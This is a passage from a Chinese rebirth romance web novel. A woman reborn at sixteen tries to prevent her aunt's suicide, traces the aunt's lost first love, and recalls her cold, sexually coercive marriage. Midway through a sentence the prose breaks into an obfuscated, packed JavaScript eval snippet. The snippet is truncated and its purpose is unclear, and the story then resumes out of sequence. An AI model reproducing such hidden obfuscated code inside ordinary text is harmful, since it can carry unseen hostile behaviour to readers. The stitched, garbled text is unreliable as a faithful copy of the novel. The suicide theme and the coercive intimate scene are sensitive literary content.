这几件衣服章矜之见她穿的都有些年头了,她不愿多换新衣,姐姐纪凝给她时常寄来的衣服,她一件件都细心叠好,妥帖地收在衣柜里,许多衣裙直到她死时都没穿过一次。 ……是因为只有那些熟悉的旧衣服,穿在她身上,才能给她一点儿安全感吗? 她还是那么美丽,像一卷幽静而雅致的仕女图古画,绢帛的卷轴摊开了一寸,便自露有她一寸的美。 因为多数时候不见阳光,本就白皙的她现在更添了一重虚弱的色泽,整个人纤弱非常,叫人望而生怜,像一只风一吹就会被吹散了翅膀的虚弱蝴蝶。 “矜矜来了?我们矜矜又变得更漂亮啦,前几天在游轮上玩得开心吗?” 纪湉解下自己的围裙,从厨房里走出来,微笑地看着章矜之。 章矜之扑进纪湉怀里,用力地抱住她,埋首在她胸前,含泪哽咽: “小姨,我好想你,我好想你好想你……我好久没有见过你了。” 纪湉顿时有些手足无措地抚着她的背哄她:“不哭啊,不哭,我也很想你的,我们现在不是见面了吗?” 章矜之小时候,纪家人为了给纪湉找点事情做,想让她多和人接触接触,就常把章矜之送到纪湉这里和她学跳舞,章起卫和纪凝再按照市面上一对一舞蹈课的费用给纪湉打去课时费。 一来让纪湉每日有事可忙,二来也让姐姐给她的资助更显得有理有据些,三来纪湉本就喜欢章矜之,所以她便同意了。 上了初中高中,章矜之的课业繁忙了许多,也少有空再来纪湉这里学跳舞,她和小姨的见面也越来越少了。 高中毕业后,她又投入了和程愈川的热恋中,连自己家都很少回,更少顾及到小姨,每年和小姨的见面只剩下了那四五次。 直到纪湉去世,她才后知后觉地开始追悔和自责。 章矜之在她怀里拱了拱,哼哼了两声:“我想你的这些天,每天晚上都会哭呢。要是以后我出去旅游的时候,你也跟着我一起就好了,只要有小姨在,哪怕太平洋上没有信号,我也能在游轮上待一年。” 纪湉沉默了,这个话题她无法回答,也难以做出什么承诺。 除了为章矜之外,她现在没有力气再去见任何人、做任何事情。 章矜之还在撒娇似地唤她:“小姨,小姨,你答应我吗?你不答应我,我以后都不敢出去玩了。” 纪湉这才笑着回应了一句:“好,小姨以后都和你一起。” 章矜之也笑了:“那我以后要带小姨和我一起出去玩!” 两人聊了几句话,纪湉又去厨房里忙着做午餐,让章矜之自己待在客厅里玩,她给她准备了切好的水果、汽水果汁还有调好了频道正在播放的电视剧。 章矜之在小姨家的客厅里坐下,慢慢环视着这间屋子。 纪湉家里的摆放陈设十分简单,除了必要的家居用品外,几乎没有任何冗余的物件。 她没有多放一只花瓶,更没有多闻过一朵玫瑰的香气。 她把她的家里收拾得分外干净整洁,玻璃窗、地板砖和每一件家具都擦得雪亮,整间屋子里几乎找不到多余的一粒灰尘。 就是这样一个雪洞般清冷的屋子,是纪湉住了十几年的地方。 这些年来,她在这屋子里唯一的消遣就是编舞、谱曲和看各种音乐舞蹈类的节目。 这是她的自娱自乐。 其实她编写了很多优秀的古典舞剧,可惜她习惯了与世无争,所以她的才华常常不被外人所见。 她把她的作品都永久地积压在一本又一本的手稿里,永生不见天日。 章矜之情绪复杂地在这间不大的客厅里来回转了好几圈。 转着转着,她就转进了纪湉的书房。 书房里看上去倒是比客厅更富有生气些,因为里面摆了许多书、乐谱和纪湉的草稿笔记。 书桌上还放着一本巨大的、厚厚的摊开来的牛皮笔记本,那是纪湉这么多年来最宝贵的“财产”,里面凝结了她这些年来的许多灵感。 章矜之睹物思前世,不免更加难过。 前世,纪湉死后,这本笔记本就归为“遗产”,由她继承了。 这就是前世她从纪湉那里得到的她的最后一件遗物。 程愈川那会儿还找了舞蹈学院的教授老师过来帮她整理纪湉的笔记,修订成书,并在纪湉死后为她出书纪念她,还把她编曲编舞的好几个舞剧都排练了出来。 这些节目在后来的网络上都赢得了极大的赞誉,足见纪湉本人的才华,可她再也看不见了。 章矜之一时心下恍然,慢慢走到了书桌前,翻看着这本笔记本上纪湉留下的字迹。 她想,小姨的生活其实本是有光彩的,她自己就是一颗璀璨的珠宝,但因为种种原因,她终其一生都只愿躲在乌云之下,畏见天光。 忽地,就在章矜之翻阅这本笔记本时,厚重的书册里掉出了一张被人悉心保存的泛黄照片。 章矜之连忙将那张照片捡了起来,正想把它原封不动地塞回去,却陡然被照片上那男人的样貌吸引住了目光。 这是一张上了年纪的老照片了,照片里是一个穿着军装的年轻男人,眉宇刚毅,五官英气。 她当下便能猜到这是纪湉的初恋前男友,那个军校的男生。 章矜之本来并未将此放在心上,只当是纪湉念旧,可霎那间,她的脑海抽痛了下,某种若隐若现的记忆阵阵敲击着她的灵魂,让她觉得自己仿佛是漏掉了什么重要的东西。 她看着照片上的年轻男人,总觉得自己似乎在哪里见过他。 那么,到底是在哪里呢? 是前世,还是今生? ——“矜矜,吃饭了。我做了你喜欢吃的话梅排骨,红烧肉,椒盐虾仁,还蒸了螃蟹呢,我帮你剥螃蟹好不好?想不想吃蟹黄拌饭?” 纪湉在厨房里唤她。 “来了!” 章矜之慌忙把照片塞回去,口中应了两声,赶紧回到了餐桌上。 纪湉总是温柔得不含一丝棱角,她会体面地去周全照顾所有人。 章矜之家里的司机每次送章矜之过来,自然都是一直等在外面,等章矜之吃完饭后再把她送回去。 司机是有章起卫给他的餐补的,他可以选择自己从家里带饭或者去附近小餐馆里随便吃点什么。 但纪湉每次都会给章矜之家里的司机也准备一份午餐。 和她们吃的一样,香喷喷的米饭,荤菜,素菜,汤,热水,洗好了的水果,还有干净的碗筷勺子,甚至还有纸巾和牙线。 开饭前,纪湉把司机的午饭放在托盘上端给他,司机郑叔点头一再谢过她,端着饭在外面院子的石桌上用餐。 ……她这样的人啊,在所有人心里都是最美好的模样,所有人都希望她好好地活下来,可她还是离开了他们。 和纪湉一起吃过午饭后,章矜之把她和她妈妈带给纪湉的礼物一件件拿给她看,纪湉就坐在沙发上静静地温柔看着她,偶尔回应几句,和她聊着天。 她很庆幸她给纪湉带了一只造型精巧的漂亮玻璃花瓶。 刚才章矜之悄悄去让司机郑叔帮她到花店买了一束玫瑰回来,她抱着这束玫瑰去水池边修剪了一番,然后把它们插在了花瓶里,摆在纪湉的客厅茶几上。 她让纪湉去闻了那玫瑰的香气,亲手触摸玫瑰红艳欲滴的娇嫩花瓣。 纪湉有些出神的动容:“矜矜,你怎么想到送我花呢?” 她已经十几年没有收到别人送来的鲜花了。 章矜之对她说:“我和小姨立花为证,在这束花枯萎之前,我一定会再来看你,然后为你送上一束新的花,好吗?这样花枯萎的时候,你就不会伤心了。我最舍不得让小姨伤心了。” 纪湉笑了。 章矜之今天心里揣着心事,没在纪湉那里久留,反正她们约好了下次花枯萎前会再见面,所以她下午就早早让司机送她回家了。 她着急去翻她那本记满了前世重要事情的日记本,想在那本日记本里翻找出能刺激她记忆的蛛丝马迹。 ——坦白来说,重生还不到一个月的章矜之,已经不能完全算是个三十八岁的女人了。 她还是前世的她,她也不全是那个三十八岁的自己。 她不可能永远记得前世的所有事情,重生的时间越长,她也会慢慢地忘掉越多琐碎的事情。 一个重生的、仿佛被上苍眷顾而拥有前世记忆的女人,她以一个三十八岁女人的灵魂回到自己少年时的亲人、同学们面前,更像是一滴注入清水中的浓墨。 最开始,她和周围的所有人都格格不入,他们看起来很不一样,而她最特殊。 但这滴墨水总归是会被稀释的。 所以现在章矜之每每想起了前世的什么事情,就会立马记在日记本上。 章起卫和纪凝去上班了,家里的保姆琳姨在午休,别墅里空荡荡的寂静着。 流金般热烈的夏日里,章矜之趴在卧室的书桌上,一边烦躁地翻着那些日记,一边揉着自己的太阳穴努力回想尽可能多的前世之事。 窗外,梧桐树的密叶碧绿遮日,轻轻摇晃,仿佛是谁在她的窗下注视着她的沉思。 许久之后,章矜之的身体如过电般激烈颤抖了下。 她想起来了。 …… 小姨死的时候,手里死死攥着的就是她笔记本里的那张照片。 只不过,等家人发现纪湉的尸体时,那张照片的大部分都被纪湉的血浸泡的模糊腐烂 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“谢谢您的关心,我父母感情当然好得不得了了。这又不是封建社会盲婚哑嫁的,我爸妈自由恋爱结婚,您猜猜看,我妈妈当初为什么选择我爸爸?” 她拉长了语气,字字掷地有声地直视对面男人的眼睛,气势十足, “当然是因为,我爸爸是当年所有追求她的男人里,最优秀的、最爱她的、她最爱的。其他所谓的竞争者,在我妈妈眼里,连给我爸提鞋都不配。” “蒋叔叔,您说是不是这个道理呢?” 蒋淮勋微微一笑,眼睛里有些湿润,他靠回椅背上, “是,矜之,你很聪明,你说的对。” 他从怀里掏出一张银行卡,卡上还标着他的姓名、电话号码和卡的密码。 他把那张卡递到章矜之面前, “当年有些事情,我实在对不起她,不过那都是大人之间的事了……这张卡你收下吧,就当我的一点心意,算补给你的压岁钱。以后你和妈妈如果有任何需要,都可以打我的电话。” 章矜之冷笑着把那张卡摔回桌上, “让您的善心失望了,我们家还没穷到这个份上,您可以去外企官网上查一查我爸爸那个级别的高管年收入是多少。对了,提醒一下,单位是美元哦。” 她低头喝了口咖啡,把咖啡杯往边上推了推,拎起自己的包就要离开。 “别再出现在我男朋友面前,别想利用我男朋友做任何事情。” 这是她对蒋淮勋说的最后一句话。 …… 对,她都想起来了,这还是她和蒋淮勋见到的第二面。 而第一次,则是因为程愈川。 早前她和程愈川周末出去看电影的时候碰见过蒋淮勋,蒋淮勋还请他们吃了顿饭。 饭桌上,程愈川介绍说,蒋淮勋是他在新疆认识的一个好心叔叔,这个叔叔在新疆就给了他一笔钱,资助了他学费。 后来叔叔有事正好也到了许江市来,去学校核实了他的身份,知道他确实成绩优秀并且目前和干爷爷相依为命,蒋叔叔于是又给了他一笔钱,帮他付完了高二和高三两年的所有学费,实在是他的贵人。 因此章矜之对蒋淮勋的第一印象也还不错,觉得这是个慷慨的大善人。 所以第二次在商场见面时,蒋淮勋说想和她说说话,她才放心和他去的。 没想到见第二面时这个蒋淮勋就暴露了真面目,还别有用心地打探起了她父母的感情问题,令章矜之对他厌恶至极。 不过也就这两面后,蒋淮勋的确就在许江市彻底消失了。 章矜之没把那些事情告诉程愈川,虽然她觉得蒋淮勋是利用程愈川接近她、又利用她探听她妈妈纪凝的事情,但到底蒋淮勋实打实地确实资助过程愈川,是程愈川的恩人。 她体谅自己的男朋友,不想程愈川夹在中间为难。 不过她还是不动声色地和程愈川打听过,问他那个蒋叔叔最近怎么不见了。 程愈川说,蒋叔叔是部队里的军官,总有特殊任务在身,一直在一些保密基地里工作,常年累月见不着人都是正常的。 章矜之便放心了。 之后很多很多年,蒋淮勋都没有再出现过。 她和程愈川都没再见过他。 就连两人结婚时,章矜之问他,当年资助你的那个蒋叔叔,你邀请他了吗? 程愈川说他请了,但蒋叔叔在部队基地里很忙,没空来。 · 明明暑夏正盛时节,章矜之浑身陡然冒起一股冰刺般的冷意来。 蒋淮勋当年,到底是想和她打听她妈妈纪凝, ……还是想打听她小姨纪湉? 他以为她是谁的女儿? 这是一场前世今生的阴差阳错、有缘无分。 14.前世相处情节 那个男人很重要,不论如何,章矜之觉得,她这一世总要让小姨和他见上一面,帮小姨除去她多年的心结。 她要倾尽所有去改变小姨自杀的命运,想要逆转她的长久以来积郁的心伤,送她花也好,带她出去旅游也罢,包括蒋淮勋,只要什么是可能有用的,她都要拿过来试一试。 有那么一瞬间,章矜之甚至开始绞尽脑汁地回忆起前世蒋淮勋递给她的那张银行卡,想要在模糊迷离的记忆中看清那张银行卡上的电话号码数字。 但一番徒劳的努力后,她最终也只能记得那串号码的开头数字是“1”,别的什么都记不得了。 如果这一世她还想找到行踪不定的蒋淮勋,那么唯一的途径只有…… 她前夫。 她鬼使神差地从床上捡起自己的手机,点进Q.Q页面里,翻出程愈川的对话框,下意识地输入了一行文字想要发给他: “你是不是在罗布泊认识了一个叫蒋淮勋的叔叔,把他的手机号发给我。” 好在就在这条消息发出去的前半秒中,章矜之陡然惊醒过来,手指颤抖地一一删去了每一个字。 她将手机丢回桌上,心有余悸地重重呼出一口气。 ——她险些暴露了自己重生过一次的事情了。 然而章矜之又转念一想,觉得自己实在是太杞人忧天,难道程愈川也像她一样重生了吗? 就算她刚刚失手将这条显得“莫名其妙”的消息发了过去,程愈川顶多会觉得一头雾水而已,他怎么会看得出来她重生过呢? 不,这也不对,真相是她不知道对方是否像她一样重生,对方也并不知道她是否重生才对。 可她又认为这种“新生”只该是上天赐予自己一个人的恩赐,上天既然这样怜悯她,一定不会再把这种殊遇轻易赐给她最痛恨的男人的。 章矜之把桌上摊开的日记本扔回了抽屉里,扣上了抽屉的锁。 自重生之后,她便有了记日记的习惯。 因为在某些事情上,她害怕自己时常会分不清前世和今生,她需要借助文字来让自己保持某些时刻的清醒。 偶尔夜半醒来,浑浑噩噩地埋首于柔软的蚕丝被里,她都会怀疑自己是否真的重生了,怀疑自己到底是十六岁还是三十八岁。 她如此幸运地回到了所有人都最爱她的时候,父母爱她,家中亲人爱她,后来那些渐行渐远的初高中朋友们也正爱她,就连那和她形同陌路的前夫,此时也对她极尽追求讨好,爱她爱得刻骨铭心。 然夜深人静时,她又总忍不住去想,假如前世的自己已经死了的话,她的父母、亲人、和前夫,是否会为她的“死”而感到难过和后悔? 虽然她并没有选择自杀过。 在那艘游轮十六层楼高的餐厅里,在她三十八岁生日那晚,其实她并没有跳海自杀。 当她看着那片寒冷幽黑的大海时,潜意识里是自暴自弃地有过一了百了的冲动的,可是理智终究让她选择了去爱惜自己的生命,她不会因为程愈川而自杀。 她只是趴在餐桌上不停地在默默流泪,不过是她一时合上眼睛擦了擦眼泪的功夫,她便离奇地回到了自己曾经十六岁的卧室里。 就是这样简单。 既然她的灵魂已经抽离到了“今生”,她自是理所当然地认为前世的自己已经死亡了,——不论她是怎么死的。 她对前世的记忆只终止于三十八岁的生日,她的灵魂并没有漂浮在虚空之中观察着她死后旁人的众生百态。 尽管如此,她依然认为父母是会伤心的。 也许是人都会对自己的父母怀揣着永远无法抹去的一层滤镜幻想;也许是事实的确如此,就算那时她和父母关系闹僵了,她终归是他们唯一的孩子,唯一的血脉后代,白发人送黑发人,章起卫和纪凝没有不伤心的道理。 韩复宇是一定会心疼她的,他的心疼是不含一丝杂质的,这个毋庸置疑。 至于其他的亲人,爷爷奶奶外公外婆、姑姑姑父、大伯伯母、舅舅舅妈,还有家中的那些兄弟姐妹们…… 对她则是心疼、惋惜皆有之吧。 人性的良知多少会使他们对她的死去有所伤怀痛惜,同时,被利益冲昏了头脑的亲人又会惋惜她的死使他们切断了和程愈川之间唯一的联系,不利于他们日后继续去吸程愈川的血了。 至于前夫程愈川本人呢? 他会不会因她的死而感到哪怕一点点的后悔和自责? 应该会,但这并不影响他一定会很快再婚的。 章矜之对他不抱有任何期待地如此揣测着。 前世越到后面,程愈川在他的人生里只在乎效率和结果,他是一个不知人间冷暖喜怒哀乐的冰冷的赚钱机器。 他是个没有感情的奇怪生物。 年纪越长,他便越发不会表露出什么“人”的情绪了,哪怕偶尔夫妻同房欢爱,明明他极度亢奋欢愉,可他对她连多几句安抚的话都不会说,章矜之嫌弃他冷漠,他却一脸理所当然地用宽大的手掌握住她的腰肢反问她: “难道你现在是没有反应吗?你还需要我该说什么?” 章矜之在他身·下望着他淡漠的神情,倏尔轻笑:“对,你坐十几个小时的私人飞机跨洋回来专门找我上/床已经够累了,当然没有力气和我多说一句话。” 那时候两人分居两国,他常年在纽约,而她在国内,夫妻之间连做/爱都变得如此麻烦。 每次程愈川为了解决需求不得不横跨太平洋回国找她时,就算他嘴上不说,章矜之都能看得出他一肚子怨气。 而他发泄这种怨气的方式就是在床上待她粗/暴直接,踏上别墅二楼时就开始解皮带,明明白白地告诉她,他就是为了这件事回来的。 她跟他吵架时,他倒是会露出不悦的愠色,可惜那种怒色都像是被程序设定好的反应似的僵硬,仿佛她惹他生气和他的下属们惹他生气是一样的,他的怒火都是一样的。 难得有几次两人心情都还不错,也都有空闲,章矜之想让他在家里陪自己看一部电影。 那是一部经典的亲情向影片,章矜之一边看一边泪水涟涟,不到两个小时的功夫里,程愈川中途出去接了好几个电话。 看完电影后,章矜之说自己很感动,甚至受电影启发,她感觉自己对小姨的死都有些释然了,因为只要她还记得小姨,小姨就永远还在她身边,没有离开她。 她滔滔不绝地说完后,问他有什么感觉,程愈川抬眸按掉手里的电话,把手机丢到一边: “斐蓝影业的高管蠢得叫人发笑,让动画片导演去拍真人影片,还由着导演各种瞎折腾,对这种题材的片子还敢投两亿的制作成本,难怪最后赔得血本无归,现在整个公司把旗下所有IP打包贱卖来回血,又是一步昏招。” 章矜之愕然愣住。 程愈川低头扫了眼腕表上的时间,摘下手表搁在茶几上,折回身来顺势将章矜之推倒在沙发上,一手撩起她的山茶花粉色的真丝裙摆,堆在她腰间: “还有三个半小时,我们做几次好不好?” 还有三个半小时,他要去工作了,他还有别的行程安排。 章矜之冷淡地回绝:“我今天没心情,下次吧。” 他不太高兴:“我已经回来陪你看电影了。” 章矜之勾唇讥笑:“所以呢?因为这个我就必须要跟你上/床吗?当年我们第一次去看电影的时候,早在高中的时候,你也是这么想的吗?” 说话间他一只手在她裙下已经熟练地勾到那层薄薄的柔软布料,屈指没入。 “矜之,你非要这么想的话,” 她因异物而轻哼了声。 程愈川接着道,“那就算是吧。” 她满眼恨意地用保养得修长漂亮的指甲在他精壮的胸膛前留下道道抓痕。 …… 结束后,章矜之背过身侧躺在沙发上平复呼吸,他若无其事地起身穿衣,扣好腰间的皮带准备离开。 章矜之蓦然从沙发上坐起,抄起他茶几上的那只腕表狠狠砸到地上。 不过几秒中的时间,那只两千多万的百达翡丽手表瞬间报废。 对,她不止会砸古董,她什么都敢砸。 程愈川看也没看那只摔坏的手表一眼,面不改色地过来亲了下她,给了她一个事后吻,而后一言不发地转身离去。 那个吻,是轻蔑的嘲讽,还是爱意的安抚? · 所以,基于往昔种种,章矜之有理由肯定他丧妻后一定会立马再娶妻生子的。 毕竟他有生理需求需要解决,他需要妻子,他还需要有人给他生孩子。 而且在吸取了第一段婚姻的教训后,二婚时他大概率会再娶一个性情比她温顺千百倍、顾大体识大局的年轻温柔女人。 他会抽空参加一下前妻的葬礼,也会用一个晚上的时间坐在卧室床头静静抽着烟,在尼古丁的刺激下感慨地缅怀一下他的原配,叹息一番那个女人到底为何而疯。 但第二天的他一定会恢复原样,不会被失败的婚姻影响他商业疯狂扩张赚钱的进程。 章矜之将目光转移到放在桌上的手机上面。 · 她忽然发现,程愈川今天没给她发消息。 在她发完那条空间动态,和尼克、李昊睿等人互动过后,他今天就没给她发消息了。 在这之前,程愈川几乎是每天风雨无阻早中晚要至少各发一次消息给她的。 并且他都小心翼翼地只在白天发消息,早上九点之前,晚上十点之后,绝不敢打扰她。 少年相恋时,他们俩互发消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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再之后,他会回去把他手里课外购买的几本习题册真题卷都一一翻一遍,找出类似题型,把题目剪下来,用双面胶粘在一起,再拿来给她盯着她做完,确保她真正懂了。 这个暑假里,老师推荐他们去看一看全省最好的中学某老师出版的一套题目,说可以帮助他们暑假弯道超车。 而且,该中学的老师经常被选为高考出卷人。 但那套习题又贵又厚又难做,章起卫和纪凝虽然给章矜之买了一套丢在家里,章矜之也没那个自制力真的去做。 程愈川却做了。 章矜之不知道他是哪里来的这种自律感,一边在罗布泊赚钱,一边还不忘荒废他的学业。 章矜之的理科一直不太好,地理她还稍感兴趣些,数学算是中上,物理化学生物就令她万般痛苦饱受折磨,上课都容易犯困那种。 虽然她不大愿意成为人们刻板印象里那种不擅长理科的女生,但事实却是理科好的女生确有千千万亿亿万、半点不输男生,唯独上天漏了她的天赋。 是以程愈川就会每天都给她分享一些他在刷那套真题的时候刷到的适合她去看去做的题目。 他将详细的解题步骤工工整整地写在纸上,连着题目一起发给她,还会用不同颜色的笔标注出需要注意的重难点。 “高一数学·第四章三角函数的复合变换题型。” “高一化学·计算物质的量题型。” 每一份题目的备注大多都是“你经常做错”,又或者是“这是重难点,而且近几年高考里经常出现这种题型。” 她随意点开几张照片看了看,少年的字迹流畅自如又带着几分气势磅礴锋芒毕露之感,字字几乎力透纸背,书写极工整,没有半个错字修改之处。 他还在发来的消息里带着她提前预习一些高二的内容。 比如:“矜之,这个化学实验有点复杂,我觉得你在课堂上直接学可能会有点难以理解,我在网上找到一个很详细的实验视频,你有空的话可以看一下。” 他为她的学业操碎了心,比任何花钱聘请的家教老师都要敬业上心且好用。 不过这份独角戏一般兢兢业业的操心止于她的那条动态。 章矜之也确信程愈川就是为了那条动态下面她和李昊睿的互动而生气,虽然他没有给她点赞,但她看到了他在她空间的访问记录。 而他生气发脾气的方式,就是玩这种罢工吗? 呵。 章矜之不屑地付之一笑。 然而很快她的笑意又凝固住了。 因为这一世她必须要和程愈川有一些交集。 只有做他的女朋友,她才大概率能通过他联系上蒋淮勋,再让小姨能见到蒋淮勋一面。